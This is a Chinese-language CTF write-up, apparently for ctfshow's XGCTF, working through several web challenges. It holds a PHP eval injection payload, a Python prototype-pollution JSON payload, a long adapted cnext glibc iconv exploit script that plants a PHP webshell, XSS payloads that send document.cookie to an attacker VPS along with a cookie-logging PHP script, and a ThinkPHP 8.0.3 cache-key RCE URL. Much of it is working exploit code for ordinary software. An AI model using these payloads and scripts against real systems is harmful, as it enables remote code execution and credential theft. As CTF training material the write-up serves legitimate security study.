CodeInject
<?php
#Author: h1xa
error_reporting(0);
show_source(__FILE__);
eval("var_dump((Object)$_POST[1]);");
用);
提前闭合
1=1);print(eval(system("tail /000f1ag.txt")));//
easy_polluted
https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIeGKyxQqAKiteZimmD
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
所以思路是:
- 污染
app.secret_key
的值,得到admin - 修改admin路由的静态资源目录,实现访问根目录下的flag
- 修改jinja2模板语法,使flag得到渲染
- 用户名和密码要写进session,用
Content-Type: application/x-www-form-urlencoded
filter
函数进行了一个过滤:blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
可以通过unicode编码绕过
构造:
{
__init__: {
__globals__: {
app: {
secret_key: "123",
jinja_env: {
variable_start_string: "[#",
variable_end_string: "#]"
}
}
}
}
}
编码后:
{
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": {
"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F": {
"\u0061\u0070\u0070": {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005F\u006B\u0065\u0079": "123",
"jinja\u005F\u0065\u006E\u0076": {
"variable\u005Fstart\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "[#",
"variable\u005Fend\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "#]"
}
}
}
}
}
发包给/
,得到MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED
,说明污染操作成功
接下来会在/admin
路由判断账号密码,在/
下POST传参username=adminer&password=123
得到已写入账密的session,用该session访问admin得到
[[Media/43df8c27c1354ed26e9fd3a0615d4311_MD5.jpeg|Open: Pasted image 20240822120820.png]]
****
Ezzz_php
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;#构造函数
}
public function __destruct(){
if($this->start == "gxngxngxn"){
#这里判断start的内容,可以进行在反序列化时再将start的值修改为gxngxngxn
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);#read_file中会判断start的值是否为gxngxngxn
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);#反序列化,触发
}else{
echo "Start_Funny_CTF!!!";
}
可以实现任意文件读取,但flag文件名未知,考虑命令执行
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
- 字符串逃逸:
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos(“\xf0\x9fAAA<BB”, ’<’); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节
(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr(“\xf0\x9fAAA<BB”, 0, 4); #“\xf0\x9fAAA<B” \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节
结论:mb_strpos相对于mb_substr来说,可以把索引值向后移
可以用这个特性将无关的字符进行截断丢弃
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
http://bbee9809-2a66-426e-a787-9674d05273a8.challenge.ctf.show/?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/fff";}
这里给read传的值:
%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa
那么如何利用file_get_contents
来进行rce呢?
从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)
(后面都是pwn
[exp](cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits (github.com))
rce脚本
这里url用http协议
import requests
import re
from ten import *
from pwn import *
from dataclasses import dataclass
from base64 import *
import zlib
from urllib.parse import quote
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
url = "http://aaffee41-3423-416b-ac99-c41b4060ae74.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
# 获取 /proc/self/maps
def get_maps():
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'
r = requests.get(url+data).text
# print(r)
data = re.search("What you are reading is:(.*)", r).group(1)
# print(txt)
return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
filename = "php://filter/convert.base64-encode/resource="+get_file
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
data = data.replace('[num]',str(len(filename)))
data = data.replace('[filename]',filename)
r = requests.get(url + data).text
data = re.search("What you are reading is:(.*)", r).group(1)
data = b64decode(data)
open(local_path,'wb').write(data)
# Path(local_path).write(data)
def get_regions():
maps = get_maps()
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
# failure("Unable to parse memory mappings")
# self.log.info(f"Got {len(regions)} memory regions")
return regions
# 通过 /proc/self/maps 得到 堆地址
def find_main_heap(regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def _get_region(regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
# 下载 libc 文件
def get_symbols_and_addresses():
regions = get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
# PHP's heap
info["heap"] = heap or find_main_heap(regions)
# Libc
libc = _get_region(regions, "libc-", "libc.so")
download_file(libc.path, LIBC_FILE)
info["libc"] = ELF(LIBC_FILE, checksec=False)
info["libc"].address = libc.start
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
# 攻击 payload 的生成
def build_exploit_path() -> str:
LIBC = info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * PAD
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
# print(path)
return path
# 开始攻击。攻击返回404是成功的标志,因为 command 最前面把进程 kill 掉了
# COMMAND = f"kill -9 $PPID; {COMMAND}"
def exploit() -> None:
path = build_exploit_path()
start = time.time()
try:
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[data]";}'
data = data.replace('[num]', str(len(path)))
data = data.replace('[data]', quote(path))
# print(data)
r = requests.get(url + data).text
# print("r: ",r)
data = re.search("What you are reading is:(.*)", r).group(1)
print('-----end-----')
# print("data; ",data)
data = b64decode(data)
print(data)
except:
print("Error")
msg_print()
if not sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
get_symbols_and_addresses()
print(info)
exploit()
NewerFileDetector
app.py
的路由:
- /login:登录界面,对用户密码判断,并以json形式
vip.json
储存 - /upload:上传文件,并用了
identify_bytes
判断文件的类型,之后写入文件 - /clear:清除session
- /check:用来判断用户是否是vip
- /visit:机器人会点进这个链接,flag会在这个bot的cookie里,然后访问上传的文件,我们在这个文件中进行xss攻击
思路就是用upload路由上传文件覆盖掉vip.json
同时绕过magika,于是需要我们对magika进行一个代码审计
Magika-Github
查找identify_bytes
函数,跟进_get_result_from_bytes
def _get_result_from_bytes(self, content: bytes) -> StatusOr[MagikaResult]:
result, features = self._get_result_or_features_from_bytes(content)
if result is not None:
return result
assert features is not None
return self._get_result_from_features(features)
进入_get_result_or_features_from_bytes
方法
elif len(content) <= self._model_config.min_file_size_for_dl:
result = self._get_result_from_few_bytes(content)
return result, None
当内容长度小于self._model_config.min_file_size_for_dl
时,会执行_get_result_from_few_bytes
[[Media/680173097f5fef482a70f4ea33c6f204_MD5.jpeg|Open: Pasted image 20240828163749.png]]
发现_get_ct_label_from_few_bytes
函数会直接返回文件类型为txt
而self._model_config.min_file_size_for_dl
这个值指的是这个模型配置中设定的最小文件大小阈值,用来决定是否需要下一步的具体分析
全局搜索得知该值默认配置为16
[[Media/c9717cdaac912af00574f5110d9c7fa9_MD5.jpeg|Open: Pasted image 20240828165015.png]]
所以只需上传的内容大小小于16即可绕过
VIP判断是由/check
路由下的isSVIP = ast.literal_eval(json.loads(content)["isSVIP"])
决定
上传{"isVIp":"1"}
即可
接下来在vps
用document.location.href
magika会检测到
用body传参不会被匹配
<body onload=document.location.href=\'http://IP/XSS.php?1=\'+document.cookie>
可以写个php脚本把cookie写进txt
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('XGCTF.txt',$content);
}
- 官方的wp中提到了用fetch进行GET请求得到flag
<script>fetch("http://vps/?flag="+document.cookie)</script>
exp
import requests
import magika
mg = magika.Magika()
url = "http://pwn.challenge.ctf.show:28293/"
D_extns = ["json",'py','sh', "html"]
#覆盖/app/check/vip.json,变成bot眼里的SVIP
vip_json_content = "{\"isSVIP\":\"1\"}"
assert mg.identify_bytes(vip_json_content.encode()).output.ct_label not in D_extns
print(len(vip_json_content))
r = requests.post(url+"upload",data={"content":vip_json_content,"name":"/app/check/vip.json"})
print(r.text)
r = requests.get(url+"check")
print(r.text)
# 写XSS
exp_content='<script>fetch("http://vps/?flag="+document.cookie)</script>'
assert mg.identify_bytes(exp_content.encode()).output.ct_label not in D_extns
r = requests.post(url+"upload",data={"content":exp_content,"name":"/app/public/test.html"})
print(r.text)
#触发。
requests.get(url+"visit?link=test.html")
这里的脚本首先用magika判断了文件的内容是否被匹配,之后访问visit
路由让bot访问,达成XSS
[[Media/9e26d6a9357a846bb9a3a2f3b3a44209_MD5.jpeg|Open: Pasted image 20240828175100.png]]
这里我手动按照exp的参数传递,无法修改vip.json(好怪好怪好怪好怪)
(ฅ>ω<*ฅ) 噫又好啦 ~ctfshow_XGCTF_西瓜杯 | 晨曦的个人小站 (chenxi9981.github.io)
手动上传的参数改为name=../../../../app/check/vip.json&content={"isSVIP":"1"}
即可完成覆盖
之后操作一样
tpdoor
乱输报错得到thinkphp的版本8.0.3
下载审计 https://codeload.github.com/top-think/framework/zip/refs/tags/v8.0.3
<?php
namespace app\controller;
use app\BaseController;
use think\facade\Db;
class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{
if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}
}
$config['request_cache_key'] = $isCache;
该值是可控的
全局搜索request_cache_key
得到CheckRequestCache.php
发现
[[Media/6cb547451eb7aea9d8669e5e3a96c955_MD5.jpeg|Open: Pasted image 20240828203557.png]]
这里可能存在命令执行,追踪$fun
函数
[[Media/8cda634f6d62b669558fec0f443e0063_MD5.jpeg|Open: Pasted image 20240828203718.png]]
其中当$key
不为true
时,会检测$key
中是否有|
,并以|
为界限将key
分为两部分,前半部分给$key
,后半部分给$fun
继续向上看,找到$key
的值的来源
[[Media/3b81a417c7e2749e65640c8dbc340bd0_MD5.jpeg|Open: Pasted image 20240828205840.png]]
而在特殊规则替换
中的自动缓存功能
会进一步对key
和fun
赋值,最后达到rce的目的
request_cache_key
的值是由isCache
决定的
最终
http://70efd59e-c363-44e3-9d90-cc3bc0da872e.challenge.ctf.show/index.php/index?isCache=cat%20/f*|system
[[Media/b08cc1e913710accc79d23c3b12e7137_MD5.jpeg|Open: Pasted image 20240828210222.png]]
SendMessage
之后补充 ()
linux共享内存跨进程通讯+TP8反序列化